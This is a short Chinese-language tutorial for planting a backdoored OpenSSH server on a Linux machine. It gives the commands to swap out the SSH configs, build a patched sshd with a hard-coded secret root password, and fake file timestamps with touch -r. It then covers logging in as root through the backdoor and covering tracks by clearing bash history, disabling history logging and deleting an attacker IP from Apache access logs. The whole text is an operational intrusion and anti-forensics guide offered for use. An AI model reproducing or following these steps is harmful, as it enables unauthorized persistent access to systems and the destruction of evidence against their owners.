SSHD 后门

1、mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old

2、mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

3、下载并安装ssh后门:
shell-# wget
shell-# tar zxvf sshbd.tgz
shell-# cd openssh

4、设置ssh后门的登录密码：

vi versio.h

#define SSH_VERSION "OpenSSH_4.2" --> you've to edit OpenSSH_4.2

vi includes.h
define _SECRET_PASSWD "test123" -> edit as u wish password

5、继续安装：

shell-# ./configure --prefix=/usr --sysconfdir=/etc/ssh

shell-# make && make install
shell-# cp ssh_config sshd_config /etc/ssh/
touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config
shell-# /etc/init.d/sshd restart

6、登入后门：

ssh -l root 192.168.1.188

密码：test123
echo >/root/.bash_history //清空操作日志

 

 

7、清除apache日志：
export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i '/210.73.64.100/d' aess_log*